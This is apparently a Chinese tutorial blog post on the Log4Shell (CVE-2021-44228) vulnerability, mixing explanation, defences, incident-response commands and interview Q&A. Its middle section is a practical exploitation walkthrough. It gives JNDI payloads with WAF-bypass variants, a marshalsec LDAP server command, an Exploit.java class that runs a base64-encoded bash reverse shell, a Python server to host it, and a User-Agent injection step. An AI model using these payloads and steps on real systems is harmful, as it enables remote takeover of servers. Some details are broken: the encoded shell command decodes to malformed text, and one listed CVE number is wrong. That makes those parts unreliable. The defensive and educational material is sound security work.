Log4j2 漏洞

一、核心基础

1. 漏洞核心信息

  • 漏洞名称:Log4Shell(日志4壳)

  • 核心CVE:CVE-2021-44228(最核心)、CVE-2021-45046、CVE-2021-45047

  • CVSS评分:10.0(满分超高危)

  • 漏洞类型:远程代码执行(RCE)

2. 漏洞原理

Log4j2 内置「Lookup表达式功能」,日志打印时会自动解析 `${}` 格式的内容,其中包含「JNDI Lookup」机制,可通过 `${jndi:ldap://xxx/xxx}` 格式的表达式,远程调用LDAP/RMI服务器加载类文件。

攻击者构造恶意表达式,将其注入到会被服务端日志记录的内容中(如User-Agent、请求参数、Cookie、用户名等),服务端打印日志时会触发以下流程:

解析恶意表达式 → 发起JNDI请求 → 连接恶意LDAP/RMI服务器 → 下载并加载恶意类 → 执行恶意代码 → 远程控制服务器(RCE)。

3. 影响范围

  • 受影响版本:Apache Log4j2 2.0 ≤ 版本 ≤ 2.14.1(全部受影响,部分版本可被绕过)

  • 不受影响版本:Log4j 1.x(无JNDI Lookup高危逻辑,已停更)、Log4j2 ≥ 2.17.1(彻底修复所有绕过漏洞)

  • 补充:JDK版本会影响利用成功率,高版本JDK限制了JNDI远程类加载功能。

4. 典型Payload及绕过技巧

基础Payload

${jndi:ldap://恶意IP:1389/Exploit} ${jndi:rmi://恶意IP:1099/Exploit}

WAF绕过Payload

${${lower:j}ndi:ldap://恶意IP:1389/Exploit} ${::-j}${ndi:ldap://恶意IP:1389/Exploit} ${j:n${d}i:ldap://恶意IP:1389/Exploit} ${${upper:J}NDI:ldap://恶意IP:1389/Exploit}

5. 修复与防御方案

(1)根本修复:升级版本

将Log4j2升级至 ≥ 2.17.1(推荐版本,彻底修复所有绕过漏洞);最低升级至2.15.0(基础修复CVE-2021-44228)。

(2)临时缓解:无法升级时使用

  • JVM参数配置(全局禁用Lookup解析):-Dlog4j2.formatMsgNoLookups=true

  • 环境变量配置(适配容器/集群场景):LOG4J2_FORMAT_MSG_NO_LOOKUPS=true

(3)应急修复:删除漏洞类

直接删除Log4j2核心包中的JndiLookup类(漏洞触发核心类),命令如下:

zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

(4)全面防御:多维度加固

  • 网络层面:限制服务器出站访问LDAP(389端口)、RMI(1099端口),阻断恶意服务器连接。

  • 防护层面:WAF拦截`${jndi`、`ldap://`、`rmi://`等恶意特征,拦截绕过Payload。

  • 运维层面:定期扫描项目依赖包,排查漏洞版本,避免引入受影响的Log4j2依赖。

二、红蓝队实战利用

1. 工具准备

  • JNDI利用工具:marshalsec(推荐)、JNDI-Injection-Exploit

  • 辅助工具:Java编译器(javac)、Python HTTP服务(用于部署恶意类)、Burp Suite(发送Payload)

  • 前提条件:目标使用受影响的Log4j2版本、用户输入可被日志打印、目标服务器可出网(能访问恶意服务器)。

2. 利用步骤

步骤1:启动恶意LDAP服务器(以marshalsec为例)

通过marshalsec启动LDAP服务,指定恶意类的下载地址(HTTP服务地址),命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的恶意IP:8080/#Exploit" 1389

说明:1389是LDAP默认端口,Exploit是恶意类名,8080是后续启动的HTTP服务端口。

步骤2:编写并编译恶意类(Exploit.java)

恶意类核心功能:执行反弹Shell或本地命令(如弹计算器),代码如下:

public class Exploit { static { try { // 反弹Shell命令(替换为你的恶意IP和端口,需提前用nc监听) String cmd = "bash -c {echo,YmFzaCAtYyAnY2hpbGRyZW4gMTI3LjAuMC4xIDIwMDAwIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzIwMDAwICYm} | {base64,-d} | {bash,-i}"; Runtime.getRuntime().exec(cmd); // 本地弹计算器(Windows测试用):Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }

编译恶意类(需Java环境):

javac Exploit.java

步骤3:启动HTTP服务,部署恶意类

在恶意类(Exploit.class)所在目录,启动Python HTTP服务,供目标服务器下载恶意类:

python3 -m http.server 8080

步骤4:发送Payload,触发漏洞

将Payload注入到目标服务器会打印日志的位置(如User-Agent、请求参数、Cookie等),通过Burp Suite或浏览器发送请求:

示例:修改HTTP请求头的User-Agent为Payload:

User-Agent: ${jndi:ldap://你的恶意IP:1389/Exploit}

触发逻辑:目标服务器打印User-Agent日志 → 解析Payload → 连接恶意LDAP服务器 → 下载Exploit.class → 执行反弹Shell → 获得目标服务器控制权。

三、应急排查

1. 一键查找服务器所有Log4j2相关Jar包

# 替换/path为需要排查的目录(如/、/app、/usr/local),排查全服务器可改为/ find /path -name "*.jar" -type f | grep -i log4j

2. 检查指定Jar包是否存在漏洞类(JndiLookup)

# 替换xxx.jar为上一步找到的Log4j2核心包(如log4j-core-2.14.1.jar) unzip -l xxx.jar | grep JndiLookup

说明:若输出「org/apache/logging/log4j/core/lookup/JndiLookup.class」,说明该Jar包存在漏洞。

3. 一键批量删除漏洞类(应急修复)

# 批量查找所有log4j-core.jar,删除其中的JndiLookup类,无需手动逐个处理 find /app -name "log4j-core-*.jar" -exec zip -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class \;

4. 批量扫描服务器所有Log4j2漏洞版本

# 自动扫描全服务器,输出存在漏洞的Log4j2 Jar包路径,便于后续升级 for file in $(find / -name "log4j-core-*.jar" 2>/dev/null); do echo "正在检查: $file" unzip -l "$file" | grep -q JndiLookup && echo "[高危漏洞] 存在漏洞的Jar包: $file" done

四、常见问题

1. 基础

  • Q:Log4j2漏洞叫什么?核心CVE是什么? A:叫Log4Shell,核心CVE是CVE-2021-44228,还有后续绕过漏洞CVE-2021-45046,CVSS评分10.0超高危。

  • Q:Log4j2漏洞的原理是什么? A:Log4j2的Lookup表达式功能存在缺陷,日志打印时会自动解析`${jndi:ldap://xxx}`格式的表达式,触发JNDI远程加载恶意类,实现远程代码执行(RCE)。

  • Q:Log4j2漏洞影响哪些版本? A:Apache Log4j2 2.0到2.14.1版本全部受影响;Log4j 1.x不受影响(已停更);Log4j2 2.17.1及以上版本已彻底修复。

  • Q:Log4j2漏洞的触发条件是什么? A:① 目标使用受影响的Log4j2版本;② 用户可控内容(如请求参数、Header)能被服务端日志打印;③ 目标服务器可出网(能访问恶意LDAP/RMI服务器)。

  • Q:如何修复Log4j2漏洞? A:最根本的是升级到Log4j2 2.17.1及以上版本;无法升级时,添加JVM参数`-Dlog4j2.formatMsgNoLookups=true`;应急方案是删除JndiLookup类。

2. 对比

Q:请对比Log4j2和Fastjson漏洞的核心区别与共同点?

(1)核心区别
  • 成因不同:Fastjson漏洞是1.x版本开启AutoType自动类型检测,可通过`@type`指定恶意类,触发反序列化执行恶意代码;Log4j2漏洞是2.0-2.14.1版本解析`${jndi:...}`表达式,触发JNDI远程加载恶意类。

  • 触发场景不同:Fastjson需服务端对用户可控的JSON字符串执行反序列化操作;Log4j2只需用户输入的内容被服务端日志打印,触发门槛更低。

  • 影响版本不同:Fastjson漏洞集中在1.x版本,2.x版本已修复;Log4j2漏洞集中在2.0-2.14.1版本,Log4j 1.x不受影响。

  • 修复核心不同:Fastjson核心是升级到2.x版本,或1.x版本关闭AutoType+配置类白名单;Log4j2核心是升级版本,或关闭Lookup表达式解析、删除JndiLookup类。

(2)共同点
  • 均为Java生态超高危RCE漏洞,无需认证即可利用,危害极大。

  • 攻击过程均依赖JNDI机制(LDAP/RMI),通过远程加载恶意类实现代码执行。

  • 根本修复方案一致:均为升级到对应框架的安全版本;临时方案均为禁用危险功能。

  • 防御思路一致:均可通过限制服务器出网、WAF拦截恶意特征、定期扫描依赖包实现加固。

3. 拓展

  • Q:Log4j 1.x为什么不受Log4Shell漏洞影响? A:因为Log4j 1.x没有Log4j2中的Lookup表达式功能,也没有JNDI Lookup相关逻辑,因此无法触发漏洞;但Log4j 1.x已在2015年停更,存在其他未修复的低危漏洞,不建议生产环境使用。

  • Q:企业如何同时防御Log4j2和Fastjson漏洞? A:① 版本升级:Log4j2升≥2.17.1,Fastjson升2.x;② 配置禁用:Log4j2关闭Lookup,Fastjson关闭AutoType;③ 网络限制:禁止服务器出网访问LDAP、RMI端口;④ 防护拦截:WAF拦截两类漏洞的恶意特征;⑤ 运维扫描:定期排查依赖包,及时更新漏洞版本。

五、核心总结

Log4j2漏洞(Log4Shell)是2.0-2.14.1版本中,因JNDI Lookup表达式解析缺陷导致的RCE漏洞,触发门槛低(用户输入被日志打印即可),危害极大;根本修复是升级到2.17.1及以上版本,临时修复可禁用Lookup或删除JndiLookup类;与Fastjson漏洞相比,二者均依赖JNDI实现攻击,但成因、触发场景不同,核心防御思路一致。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值